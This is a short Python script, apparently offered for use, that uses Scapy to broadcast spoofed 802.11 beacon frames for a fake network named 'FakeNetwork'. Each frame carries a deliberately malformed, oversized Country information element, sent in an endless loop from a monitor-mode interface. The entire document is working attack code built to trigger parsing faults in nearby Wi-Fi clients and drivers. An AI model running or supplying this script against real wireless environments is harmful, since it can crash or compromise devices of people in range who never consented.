from scapy.all import *

def send_malformed_beacon(interface):
    ssid = "FakeNetwork"
    bssid = "02:00:00:00:00:01"

    # Malformed Country IE: ID 0x07, length is too long (normally max ~3-6)
    country_ie = Dot11Elt(ID=0x07, info=b"DE" + b"\x20"*50)  # "DE" + 50 bytes Müll

    # Standard Beacon-Frame Struktur
    dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff",
                  addr2=bssid, addr3=bssid)
    beacon = Dot11Beacon(cap="ESS")
    ssid_elt = Dot11Elt(ID="SSID", info=ssid)
    rates = Dot11Elt(ID="Rates", info=b"\x82\x84\x8b\x96")

    # Zusammensetzen des Pakets
    frame = RadioTap() / dot11 / beacon / ssid_elt / rates / country_ie

    print("[*] Sending malformed Beacon frames... (Press Ctrl+C to stop)")
    try:
        sendp(frame, iface=interface, inter=0.1, loop=1, verbose=0)
    except KeyboardInterrupt:
        print("\n[+] Stopped.")

if __name__ == "__main__":
    iface = input("Enter your monitor-mode interface (e.g., wlan0mon): ")
    send_malformed_beacon(iface)